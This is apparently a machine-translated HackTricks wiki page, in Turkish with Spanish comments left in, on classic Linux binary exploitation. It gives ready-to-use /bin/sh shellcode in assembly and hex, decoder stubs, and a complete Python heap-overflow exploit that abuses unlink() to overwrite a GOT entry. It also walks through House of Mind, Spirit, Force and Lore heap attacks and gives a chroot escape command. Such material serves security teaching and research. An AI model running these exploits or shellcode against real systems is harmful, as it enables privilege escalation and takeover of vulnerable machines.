.. | ||
arbitrary-write-2-exec | ||
common-binary-protections | ||
common-binary-protections-and-bypasses | ||
format-strings | ||
stack-overflow | ||
common-exploiting-problems.md | ||
elf-tricks.md | ||
fusion.md | ||
one-gadget.md | ||
README.md |
Linux Exploiting (Temel) (SPA)
AWS hacklemeyi sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Red Team Expert) ile!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuz
- Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @hacktricks_live'da takip edin.
- Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
2.SHELLCODE
Kernel kesmelerini görüntüle: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”
setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; eax'ı temizle
xor ebx, ebx ; ebx = 0 çünkü geçirilecek bir argüman yok
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Sistem çağrısını yürüt
nasm -f elf assembly.asm —> Bir .o dosyası döndürür
ld assembly.o -o shellcodeout —> Derlenmiş kod içeren yürütülebilir bir dosya verir ve objdump ile opcode'ları çıkarabiliriz
objdump -d -Mintel ./shellcodeout —> Gerçekten shellcodemuz olduğunu ve opcode'ları çıkarmak için
Shellcodenin çalıştığını kontrol etmek
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Sistem çağrılarının doğru yapıldığını görmek için önceki program derlenmeli ve sistem çağrıları strace ./DERLENMİŞ_PROGRAM içinde görünmelidir.
Shellcode'lar oluşturulurken bir hile yapılabilir. İlk talimat bir çağrıya bir sıçrama yapmaktır. Çağrı, orijinal kodu çağırır ve aynı zamanda EIP'yi yığına yerleştirir. Çağrı talimatından sonra ihtiyacımız olan dizeyi eklemişizdir, bu nedenle bu EIP ile dizeyi işaretleyebilir ve aynı zamanda kodu devam ettirebiliriz.
ÖRNEK HİLE (/bin/sh):
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Stack Kullanarak EJ(/bin/sh):
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
EJ FNSTENV:
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
Yumurta Avcısı:
Bir işleme ilişkilendirilmiş bellek sayfalarını dolaşarak orada saklanan shellcode'u arayan küçük bir kod parçasıdır (shellcode'da yer alan bir imza arar). Kod enjekte etmek için sadece küçük bir alanın olduğu durumlarda faydalıdır.
Polimorfik Shellcode'lar
Şifrelenmiş kabuklardan oluşan ve onları çözen ve onlara atlayan küçük kod parçalarına sahip kabuklardır, Call-Pop hilesini kullanarak şifrelenmiş bir örnek şöyle olabilir:
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
5. Ek Yöntemler
Murat Tekniği
Linux'ta tüm programlar 0xbfffffff'den başlayarak haritalanır.
Yeni bir işlem için yığının nasıl oluşturulduğunu göz önünde bulundurarak, bir programın yalnızca shellcode'un bulunduğu bir ortamda başlatılmasını sağlayacak şekilde bir exploit geliştirilebilir. Bu adres şu şekilde hesaplanabilir: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode)
Bu şekilde, shellcode'un bulunduğu ortam değişkeninin adresi kolayca elde edilebilir.
Bu, execle fonksiyonunun yalnızca istenilen ortam değişkenlerine sahip bir ortam oluşturmasına izin vermesi sayesinde mümkündür.
Format Strings to Buffer Overflows
sprintf, biçimlendirilmiş bir dizeyi bir değişkene taşır. Bu nedenle, bir dizenin biçimlendirmesini kötüye kullanarak, içeriğin kopyalandığı değişkende bir tampon taşmasına neden olabilirsiniz.
Örneğin, yük %.44xAAAA
, değişkene 44B+"AAAA" yazacak ve bu bir tampon taşmasına neden olabilir.
__atexit Yapıları
{% hint style="danger" %} Günümüzde bunu sömürmek çok garip. {% endhint %}
atexit()
, diğer fonksiyonların parametre olarak iletilen bir işlevdir. Bu işlevler, bir exit()
veya ana işlevin dönüşü sırasında yürütülecektir.
Örneğin, bu işlevlerden herhangi birının adresini örneğin bir shellcode'a işaret etmek için değiştirebilirseniz, işlemi kontrol edersiniz, ancak bu şu anda daha karmaşıktır.
Şu anda yürütülecek işlevlerin adresleri birkaç yapı arkasında gizlenmiştir ve sonunda işaret ettiği adresler işlevlerin adresleri değildir, ancak XOR ve rastgele bir anahtarla şifrelenmiştir. Bu nedenle, bu saldırı vektörü şu anda x86 ve x64_86'da en azından çok kullanışlı değildir.
Şifreleme işlevi PTR_MANGLE
'dır. m68k, mips32, mips64, aarch64, arm, hppa gibi diğer mimariler, girdi olarak aldığı gibi döndürdüğü için şifreleme işlevini uygulamaz. Bu nedenle, bu mimariler bu vektör tarafından saldırıya uğrayabilir.
setjmp() & longjmp()
{% hint style="danger" %} Günümüzde bunu sömürmek çok garip. {% endhint %}
Setjmp()
, bağlamı (kaydedilen kayıtları) kaydetmeye izin verir.
longjmp()
, bağlamı geri yüklemeye izin verir.
Kaydedilen kayıtlar: EBX, ESI, EDI, ESP, EIP, EBP
'dir.
Ancak EIP ve ESP, PTR_MANGLE
işlevinden geçirilir, bu nedenle bu saldırıya karşı savunmasız mimariler yukarıdakiyle aynıdır.
Hata kurtarma veya kesmeler için kullanışlıdır.
Ancak, okuduğum kadarıyla, diğer kayıtlar korunmamaktadır, bu nedenle çağrılan işlev içinde call ebx
, call esi
veya call edi
varsa, kontrol ele geçirilebilir. Veya EBP değiştirilerek ESP değiştirilebilir.
VTable ve VPTR in C++
Her sınıfın bir Vtable'ı vardır, bu bir yöntemler dizisidir.
Her bir sınıf nesnesinin bir VPtr'si vardır, bu sınıfının dizisinin bir işaretçisidir. VPtr, her nesnenin başlığının bir parçasıdır, bu nedenle VPtr'nin üzerine yazılması başarılırsa, bir işlevi yürütmek için sahte bir yönteme işaret edecek şekilde değiştirilebilir.
Önleyici ve Kaçınma Önlemleri
Libsafe'in Değiştirilmesi
Şu şekilde etkinleştirilir: LD_PRELOAD=/lib/libsafe.so.2
veya
“/lib/libsave.so.2” > /etc/ld.so.preload
Bazı güvensiz işlev çağrılarını güvenli işlevlerle değiştirir. Standartlaştırılmamıştır. (yalnızca x86 için, -fomit-frame-pointer ile derlenmemiş, statik derlemeler için geçerli değil ve LD_PRELOAD setuid olan ikili dosyalarda çalışmaz).
ASCII Armored Adres Alanı
Paylaşılan kütüphaneleri 0x00000000 ile 0x00ffffff arasında yüklemek anlamına gelir, böylece her zaman bir 0x00 baytı olur. Bununla birlikte, bu neredeyse hiçbir saldırıyı durdurmayacak ve özellikle little endian'da etkisiz olacaktır.
ret2plt
Bu, strcpy@plt işlevini (plt'den) çağıran bir ROP gerçekleştirmeyi ve GOT girdisinin adresine işaret ederek çağrılmak istenen işlevin ilk bayrağını (system()) kopyalamayı içerir. Ardından aynısını GOT+1'e işaret ederek system() işlevinin 2. bayrağını kopyalarsınız... Sonunda GOT'da saklanan adrese çağrılır, bu adres system() olacaktır.
chroot() ile Kafesler
debootstrap -arch=i386 hardy /home/user —> Belirli bir alt dizin altına temel bir sistem yükler
Bir yönetici, bu kafeslerden birinden çıkmak için şunu yapabilir: mkdir foo; chroot foo; cd ..
Kod Enstrümantasyonu
Valgrind —> Hataları arar
Memcheck
RAD (Return Address Defender)
Insure++
8 Heap Taşmaları: Temel Sömürüler
Tahsis Edilen Parça
prev_size |
size | —Başlık
*mem | Veriler
Boş Parça
prev_size |
size |
*fd | İleri parça işaretçisi
*bk | Geri parça işaretçisi —Başlık
*mem | Veriler
Boş parçalar, çift yönlü bir liste (bin) içinde bulunur ve iki boş parça yan yana olamaz (birleştirilirler)
"size" içinde, önceki parçanın kullanımda olup olmadığını, parçanın mmap() ile tahsis edilip edilmediğini ve parçanın ana arenaya ait olup olmadığını belirten bitler bulunmaktadır.
Bir parça serbest bırakıldığında, bitişik parçalardan herhangi biri boşsa, bunlar unlink() makrosu aracılığıyla birleştirilir ve yeni, daha büyük parça uygun bin içine yerleştirilir.
unlink(){
BK = P->bk; —> Yeni parçanın BK'si, önceki boş parçanın BK'si olur
FD = P->fd; —> Yeni parçanın FD'si, önceki boş parçanın FD'si olur
FD->bk = BK; —> Sonraki parçanın BK'si yeni parçaya işaret eder
BK->fd = FD; —> Önceki parçanın FD'si yeni parçaya işaret eder
}
Bu nedenle, P->bk'yi bir shellcode'un adresiyle ve P->fd'yi GOT veya DTORS'taki bir girişin adresiyle değiştirmeyi başarırsak:
BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode
Ve böylece programdan çıkarken shellcode yürütülür.
Ayrıca, unlink()'in 4. ifadesi bir şey yazıyor ve shellcode bunun için düzeltilmelidir:
BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Bu, shellcode'un 8. baytından itibaren 4 bayt yazılmasına neden olur, bu nedenle shellcode'un ilk talimatı bunu atlamak ve shellcode'un geri kalanına gitmek için bir jmp olmalıdır.
Bu nedenle, sömürü şu şekilde oluşturulur:
Buffer1'e, nops'a düşecek bir jmp ile başlayan shellcode eklenir.
Shellcode'un sonrasına, bir sonraki parçanın prev_size ve size alanına ulaşana kadar doldurma eklenir. Bu alanlara 0xfffffff0 (önceki parçanın serbest olduğunu belirten bitin üzerine yazılacak şekilde) ve "-4" (0xfffffffc) eklenir (2. parçanın aslında serbest olduğunu belirten değiştirilmiş prev_size'ı kontrol edeceği için size alanına) -> Bu şekilde, free() araştırırken 3. parçanın boyutuna gidecek ancak aslında 2. parçanın - 4'e gidecek ve 2. parçanın serbest olduğunu düşünecek. Ve sonra unlink() çağrılacak. unlink() çağrıldığında, P->fd olarak 2. parçanın ilk verileri kullanılacak, bu nedenle üzerine yazılacak adres - 12 olacak (çünkü FD->bk'ye FD'de saklanan adrese 12 ekleyecek). Ve bu adrese, 2. parçada bulunan ikinci adresi ekleyecek, bu adresin shellcode'un adresi (sahte P->bk) olmasını isteyeceğiz.
from struct import *
import os
shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<I”, 0xfffffff0) #Önceki parçanın boş olduğunu gösteren bitin 1 olması önemli
fake_size = pack("<I”, 0xfffffffc) #-4, 3. parçanın "size" değerinin 4 byte geride olduğunu düşünmesi için (prev_size'ye işaret eder)
addr_sc = pack("<I", 0x0804a008 + 8) #Payload'da başlangıçta 8 byte dolgu olacak
got_free = pack("<I", 0x08048300 - 12) #free() adresi plt-12 (free çağrıldığında shellcode'un ikinci kez çalıştırılacağı adresi üzerine yazmak için)
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) #Payload'ın başlangıcında 8 byte dolgu olacak
payload += prev_size + fake_size + got_free + addr_sc #2. parça değiştiriliyor, got_free, addr_sc adresini saklayacağı yere işaret ediyor + 12
os.system("./8.3.o " + payload)
unset() ters sırayla serbest bırakma (wargame)
3 ardışık parçayı kontrol ediyoruz ve serbest bırakma sırası tersine.
Bu durumda:
Parça c'ye shellcode yerleştirilir
Parça a'yı, b'yi üzerine yazmak için kullanırız, böylece size alanının PREV_INUSE bitinin devre dışı bırakıldığına inanır ve parça a'nın boş olduğunu düşünür.
Ayrıca, b'nin başlığını -4 olarak ayarlarız.
Bu durumda, program "a"nın boş olduğunu ve bir depoda olduğunu düşünerek unlink() çağırır. Ancak, çünkü başlık PREV_SIZE -4'e eşittir. Program, "a" parçasının aslında b+4'te başladığını düşünecektir. Yani, b+4'te "fd" işaretçisi olacak ve b+16'da "bk" işaretçisi olacak.
Bu şekilde, bk'ye shellcode'un adresini ve fd'ye "puts()" fonksiyonunun adresini -12 olarak yerleştirirsek, payload'umuzu elde ederiz.
Frontlink Tekniği
Bir şey serbest bırakıldığında ve yanındaki parçalar boş değilse, unlink() çağrılmaz, doğrudan frontlink() çağrılır.
Saldırılan malloc hiçbir zaman serbest bırakılmazsa yararlı bir zayıflıktır.
Gereksinimler:
Veri girişi işleviyle taşınabilir bir tampon
Bu tampona bitişik olan ve serbest bırakılacak olan ve başlık fd alanı taşınan bir tampon
512'den büyük ancak önceki tampona göre daha küçük bir boyutta serbest bırakılacak bir tampon
Bu adımdan önce tanımlanan bir tampon, bu tamponun prev_size'ını üzerine yazmaya izin verir
Bu şekilde, kontrolsüz iki malloc üzerine yazarak ve yalnızca bir tanesinin serbest bırakılmasını sağlayarak bir saldırı gerçekleştirebiliriz.
Çift free() Zayıflığı
Aynı işaretçiyle iki kez free() çağrılırsa, aynı adrese işaret eden iki bin oluşur.
Birini tekrar kullanmak istendiğinde sorunsuzca atanır. Diğerini kullanmak istendiğinde, aynı alan atanır, bu da önceki rezervasyonun yazacağı verilerle yanıltıcı "fd" ve "bk" işaretçilerine sahip olmamıza neden olur.
free() Sonrası
Önceden serbest bırakılan bir işaretçi kontrolsüz bir şekilde tekrar kullanılır.
8 Heap Taşmaları: Gelişmiş Saldırılar
Unlink() ve FrontLink() teknikleri, unlink() işlevi değiştirilerek kaldırıldı.
The house of mind
Kodun keyfi olarak yürütülmesini sağlamak için yalnızca bir free() çağrısı gereklidir. Önce bir parçayı taşımak ve serbest bırakmak için bir sonraki parçayı aramak önemlidir.
Bir free() çağrısı, public_fREe(mem) işlevini çağırır, bu işlev:
mstate ar_ptr;
mchunkptr p;
…
p = mem2chunk(mes); —> Bir parçanın başladığı adresi (mem-8) döndürür
…
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
…
_int_free(ar_ptr, mem);
}
[1] kısmında, NON_MAIN_ARENA bitini kontrol eder, bu biti değiştirerek true döndürüp heap_for_ptr() işlevini çalıştırabiliriz. Bu işlev, "mem" üzerinde bir and işlemi yaparak en az anlamlı 2.5 byte'ı sıfırlar (örneğin 0x0804a000 için 0x08000000 yapar) ve 0x08000000->ar_ptr adresine erişir (struct heap_info gibi).
Bu şekilde, örneğin 0x0804a000 adresinde bir parçayı kontrol edebilir ve 0x081002a0 adresinde bir parçanın serbest bırakılacağını varsayarsak, 0x08100000 adresine ulaşabilir ve istediğimiz şeyi yazabiliriz, örneğin 0x0804a000. Bu ikinci parça serbest bırakıldığında, heap_for_ptr(ptr)->ar_ptr'ın 0x08100000 adresine yazdığımızı görecektir (çünkü önceki and işlemi uygulanır ve buradan ilk 4 byte'ın değeri, ar_ptr'yi alır).
Böylece, _int_free(ar_ptr, mem) çağrılır, yani _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){
…
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
..}
Daha önce av değerini kontrol edebileceğimizi gördüğümüz gibi, av'ye yazdığımız değeri kontrol edebiliriz.
Unsorted_chunks'ı tanımladığımız gibi biliyoruz ki:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;
Bu nedenle, av->bins[2] adresine __DTOR_END__-12 değerini yazarsak, son talimatta __DTOR_END__ adresine ikinci parçanın adresi yazılacaktır.
Yani, ilk parçanın başına __DTOR_END__-12 adresini birçok kez yazmamız gerekmektedir, çünkü av->bins[2] buradan alınacaktır.
İkinci parçanın adresinin düşeceği adrese, ilk parçanın başlangıç adresini yazmalıyız, böylece heap_for_ptr() ilk parçanın başında ar_ptr olduğunu düşünür ve oradan av->bins[2]'yi alır. İkinci parçada, birinci parçadan yararlanarak prev_size'a bir jump 0x0c ve size'a -> NON_MAIN_ARENA'yı etkinleştirmek için bir şey yazıyoruz.
Sonra parça 2'de çok sayıda nop ve nihayetinde shellcode'u ekliyoruz.
Bu şekilde _int_free(TROZO1, TROZO2) çağrılacak ve __DTOR_END__ adresine TROZO2'nin prev_size adresi yazılacak ve shellcode'a atlayacak.
Bu tekniği uygulamak için payload'u biraz daha karmaşık hale getiren bazı gereksinimlerin karşılanması gerekmektedir.
Bu teknik artık uygulanabilir değil çünkü unlink için neredeyse aynı yama uygulandı. Yeni hedefin, ona işaret eden yeni konumla karşılaştırılır.
Fastbin
The house of mind'in bir varyantıdır.
İlk _int_free() fonksiyonunun ilk kontrolünden sonra aşağıdaki kodu çalıştırmak istiyoruz:
fb = &(av->fastbins[fastbin_index(size)] —> fastbin_index(sz) —> (sz >> 3) - 2
…
p->fd = *fb
*fb = p
Böylece "fb" adresi GOT'ta bir fonksiyonun adresini gösteriyorsa, bu adrese üzerine yazılacak olan sahte parçanın adresi konulur. Bunun için arena'nın dtors adreslerine yakın olması gerekir. Daha doğrusu av->max_fast'in üzerine yazılacak adresin yakınında olması gerekir.
The House of Mind ile kontrol ettiğimiz gibi, av'nin konumunu kontrol ettiğimizi gördük.
Bu durumda, size alanına 8 + NON_MAIN_ARENA + PREV_INUSE boyutunu koyarsak, fastbin_index() bize fastbins[-1]'i döndürecektir, bu da av->max_fast'e işaret edecektir.
Bu durumda av->max_fast'in üzerine yazılacak (işaret edilen değil, üzerine yazılacak olan pozisyon) adres olacaktır.
Ayrıca, serbest bırakılan parçanın bitişik parçasının 8'den büyük olması gerekir -> Serbest bırakılan parçanın boyutunun 8 olduğunu söylediğimize göre, bu sahte parçaya sadece 8'den büyük bir boyut koymamız yeterlidir (ayrıca shellcode serbest bırakılan parçada olacağından, başlangıçta noplara düşen bir jmp koymamız gerekecek).
Ayrıca, aynı sahte parçanın av->system_mem'den küçük olması gerekir. av->system_mem 1848 bayt daha ileridedir.
_DTOR_END_ ve GOT'taki az sayıda adres nedeniyle, bu bölümlerin hiçbiri üzerine yazılacak uygun bir adres değildir, bu yüzden yığını hedeflemek için fastbin'i nasıl uygulayacağımıza bakalım.
Başka bir saldırı şekli, av'yi yığını hedeflemek için yeniden yönlendirmektir.
Size'ı 8 yerine 16 yapacak şekilde değiştirirsek: fastbin_index() bize fastbins[0]'ı döndürecektir ve bunu yığını hedeflemek için kullanabiliriz.
Bunun için yığında canary veya garip değerler olmamalıdır, aslında şu durumda olmalıdır: 4 bayt null + EBP + RET
4 bayt null, av'nin bu adrese işaret edeceği ve bir av'nin ilk öğesinin 0 olması gereken bir adrestir.
av->max_fast EBP olacak ve bize kısıtlamaları atlamak için hizmet edecek bir değer olacaktır.
av->fastbins[0] adresi p'nin adresiyle üzerine yazılacak ve RET olacak, böylece shellcode'a atlanacaktır.
Ayrıca, av->system_mem'de (yığının pozisyonundan 1484 bayt yukarıda) bizi atlamamızı sağlayacak yeterince çöp olacaktır.
Ayrıca, serbest bırakılan parçanın bitişik parçasının 8'den büyük olması gerekir -> Serbest bırakılan parçanın boyutunun 16 olduğunu söylediğimize göre, bu sahte parçaya sadece 8'den büyük bir boyut koymamız yeterlidir (ayrıca shellcode serbest bırakılan parçada olacağından, yeni sahte parçanın boyut alanının sonrasında gelen noplara düşen bir jmp koymamız gerekecek).
The House of Spirit
Bu durumda, saldırganın değiştirebileceği bir malloc işaretçisine sahip bir malloc işaretçisi arıyoruz (örneğin, işaretçinin bir değişken üzerine taşma olasılığı olan yığının altında olması).
Böylece bu işaretçiyi istediği yere işaret edebiliriz. Ancak, herhangi bir yer uygun değildir, sahte parçanın boyutu av->max_fast'ten küçük olmalı ve daha spesifik olarak gelecekteki bir malloc() çağrısında talep edilen boyut + 8'e eşit olmalıdır. Bu nedenle, eğer bu savunmasız işaretçinin altında malloc(40) çağrılacağını biliyorsak, sahte parçanın boyutu 48 olmalıdır.
Örneğin, program kullanıcıdan bir sayı istediğinde 48 girebilir ve malloc işaretçisini değiştirilebilir hale getirerek malloc'a ait olabilecek 4 bayt sonraki adreslere işaret edebiliriz (şans eseri EBP'ye ait olabilir, böylece 48 arkada kalır, sanki başlık boyutuymuş gibi). Ayrıca, ptr-4+48 adresinin (bu durumda ptr=EBP) birkaç koşulu karşılaması gerekir, yani 8 < ptr-4+48 < av->system_mem olmalıdır.
Bu koşullar sağlandığında, dediğimiz gibi, bir sonraki malloc(40) çağrıldığında EBP'nin adresi atanır. Saldırganın bu malloc'a ne yazacağını da kontrol edebiliyorsa, EBP ve EIP'yi istediği adrese üzerine yazabilir.
Bu, çünkü free() işlemi, yığının EBP'sine işaret eden adreste yeni bir malloc() için mükemmel boyutta bir parça olduğunu kaydeder, bu nedenle o adrese atar.
The House of Force
Gereksinimler:
- Wilderness'ı üzerine yazabilecek bir taşma
- Kullanıcı tarafından tanımlanan boyutta bir malloc() çağrısı
- Kullanıcı tarafından tanımlanan verilere sahip bir malloc() çağrısı
İlk olarak, wilderness parçasının boyutunu çok büyük bir değerle (0xffffffff) üzerine yazıyoruz, böylece yeterince büyük bir bellek talebi _int_malloc() tarafından heap'i genişletmeden işlenecektir.
İkincisi, av->top'u, saldırganın kontrolü altındaki bir bellek bölgesine, örneğin yığın, işaret edecek şekilde değiştiriyoruz. av->top'a &EIP - 8 konulur.
Saldırganın kontrolü altındaki bellek bölgesine işaret eden av->top'u değiştirmemiz gerekiyor:
victim = av->top;
remainder = chunck_at_offset(victim, nb);
av->top = remainder;
Victim, mevcut wilderness parçasının adresini (mevcut av->top) alır ve remainder tam olarak bu adresin malloc() tarafından talep edilen bayt sayısı kadar ilerisine denk gelir. Yani, &EIP-8'in 0xbffff224 olduğu ve av->top'un 0x080c2788 olduğu durumda, av->top'un bir sonraki malloc() için &EIP-8'e işaret etmesi gereken miktardır:
0xbffff224 - 0x080c2788 = 3086207644.
Bu şekilde değiştirilmiş değeri av->top'a kaydedilir ve bir sonraki malloc EIP'ye işaret eder ve üzerine yazılabilir.
Yeni wilderness parçasının boyutunun, son malloc() tarafından yapılan talepten daha büyük olması önemlidir. Yani, wilderness &EIP-8'e işaret ediyorsa, boyut tam olarak yığının EBP alanında kalır.
The House of Lore
SmallBin Bozulması
Serbest bırakılan parçalar, boyutlarına göre bir bine yerleştirilir. Ancak, unsorted bins'e önce yerleştirilirler. Bir parça serbest bırakıldığında hemen bine konulmaz, unsorted bins'te kalır. Sonra, yeni bir parça rezerve edilirse ve önceki serbest bırakılan parça ona hizmet edebilirse, geri verilir, ancak daha büyük bir parça rezerve edilirse, unsorted bins'teki serbest bırakılan parça uygun binine konulur.
Zararlı kodu ulaşmak için bellek talebi av->max_fast'ten büyük (genellikle 72) ve MIN_LARGE_SIZE'dan (512) küçük olmalıdır. Binlerde istenilen boyutta bir parça varsa, onu çözümlendikten sonra geri döndürülür:
bck = victim->bk; Önceki parçaya işaret eder, değiştirebileceğimiz tek bilgidir.
bin->bk = bck; Önceki parça, son parça olur, bck'nin bir sonraki rezerve edilen parçaya işaret etmesi durumunda bu adres verilir.
bck->fd = bin; Bu parçayı bin'e işaret ederek liste kapatılır.
Gereksinimler:
İlk olarak iki malloc rezerve edilmelidir, böylece ikinci parça serbest bırakıldıktan sonra ilkine taşma yapılabilir (yani taşmadan önce ikinci parçadan daha büyük bir malloc rezerve edilmiş olmalıdır)
Saldırgan tarafından kontrol edilen bir adrese sahip olması gereken saldırgan tarafından seçilen malloc rezerv edilen parça.
Amacımız şudur, bir heap'e taşma yapabilirsek ve altında serbest bırakılmış ve bin'inde bir parçası olan bir heap'e taşma yapabilirsek, bk işaretçisini değiştirebiliriz. Bk işaretçisini değiştirirsek ve bu parça bin listesinin ilk parçası haline gelirse ve rezerve edilirse, bin aldatılacak ve listenin son parçasının (sunulan sonraki parça) yanlış adresinde olduğuna inandırılacaktır (örneğin stack veya GOT'a). Bu nedenle, başka bir parça rezerve edildiğinde ve saldırganın izinleri varsa, istenen konumda bir parça verilecek ve oraya yazabilecektir.
Değiştirilen parçanın serbest bırakılmasından sonra serbest bırakılan parçadan daha büyük bir parça rezerve edilmesi gerekmektedir, böylece değiştirilen parça sıralanmamış bin'lerden çıkar ve bin'ine yerleştirilir.
Bin'ine yerleştirildikten sonra, taşma yoluyla bk işaretçisini değiştirmek için zamanı gelir, böylece bin, malloc() çağrıldığında yeterince kez bin'in değiştirilmiş bin'ini kullanmasını bekler ve bin'i yanlış adresindeki bir sonraki parçanın olduğuna inandırır. Ve ardından istediğimiz parça verilir.
Bu saldırının mümkün olan en kısa sürede gerçekleşmesi için ideal olan şey: Zayıf parça rezervasyonu, değiştirilecek parça rezervasyonu, bu parça serbest bırakılır, değiştirilecek parçadan daha büyük bir parça rezerve edilir, parça değiştirilir (zayıflık), zayıf parçadan aynı boyutta bir parça rezerve edilir ve istenilen adrese işaret eden ikinci bir parça rezerve edilir.
Bu saldırıyı korumak için, parçanın "yanlış" olmadığını kontrol etmek için tipik bir kontrol kullanılmıştır: bck->fd'nin victim'a işaret ettiği kontrol edilir. Yani, bizim durumumuzda, stack'te yanlış olarak işaretlenen parçanın fd* işaretçisinin victim'a işaret edip etmediği kontrol edilir. Bu korumayı aşmak için saldırganın, uygun adrese (muhtemelen stack üzerinden) victim'un adresini yazabilmesi gerekir. Böylece bir gerçek parça gibi görünür.
Büyük Bin Bozulması
Önceki gereksinimlerin yanı sıra, rezerve edilen parçaların 512'den büyük olması gerekmektedir.
Saldırı, öncekiyle aynıdır, yani bk işaretçisini değiştirmek gereklidir ve tüm bu malloc() çağrılarına ihtiyaç vardır, ancak değiştirilen parçanın boyutunu değiştirmek gereklidir, böylece bu boyut - nb < MINSIZE olur.
Örneğin, 1552 boyutunda bir parça koymak, 1552 - 1544 = 8 < MINSIZE olacak şekilde ayarlanır (negatif olmamalıdır çünkü unsigned karşılaştırılır).
Ayrıca, daha da karmaşık hale getirmek için bir yama eklenmiştir.
Heap Spreyi
Temelde, heap'ler için mümkün olan tüm belleği rezerve etmek ve bunları bir shellcode ile bitirilmiş bir nops yatağı ile doldurmaktır. Ayrıca, yatak olarak 0x0c kullanılır. Yani, 0x0c0c0c0c adresine atlamaya çalışılacak ve böylece bu yatağa çağrılacak bir adres üzerine yazılırsa oraya atlanacaktır. Temel olarak taktik, birçok şeyi rezerve etmektir, böylece bir işaretçi üzerine yazılıp yazılmadığını görmek ve 0x0c0c0c0c adresine atlamak için beklemektir, umarım orada nops olacaktır.
Heap Feng Shui
Belleği sementlemek için rezervasyonlar ve serbest bırakmalar aracılığıyla parçalar arasında rezerve edilmiş parçaların kaldığı şekilde düzenlemeyi içerir. Taşma yapılacak tampon bir yumurtanın içine yerleştirilir.
objdump -d yürütülebilir —> Fonksiyonları ayrıştırır
objdump -d ./PROGRAMA | grep FONKSIYON —> Fonksiyon adresini alır
objdump -d -Mintel ./shellcodeout —> Shellcode'un bizim olduğunu ve OpCodes'leri almak için
objdump -t ./exec | grep varBss —> Sembol tablosu, değişkenlerin ve fonksiyonların adreslerini almak için
objdump -TR ./exec | grep exit(func lib) —> Kütüphane fonksiyonlarının adreslerini almak için (GOT)
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> GOT'ta üzerine yazılacak puts adresini alır
objdump -D ./exec —> Tümünü ayrıştırır plt girişlerine kadar
objdump -p -/exec
Info functions strncmp —> gdb'de fonksiyon hakkında bilgi
İlginç Kurslar
Referanslar
Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert) ile!
HackTricks'ı desteklemenin diğer yolları:
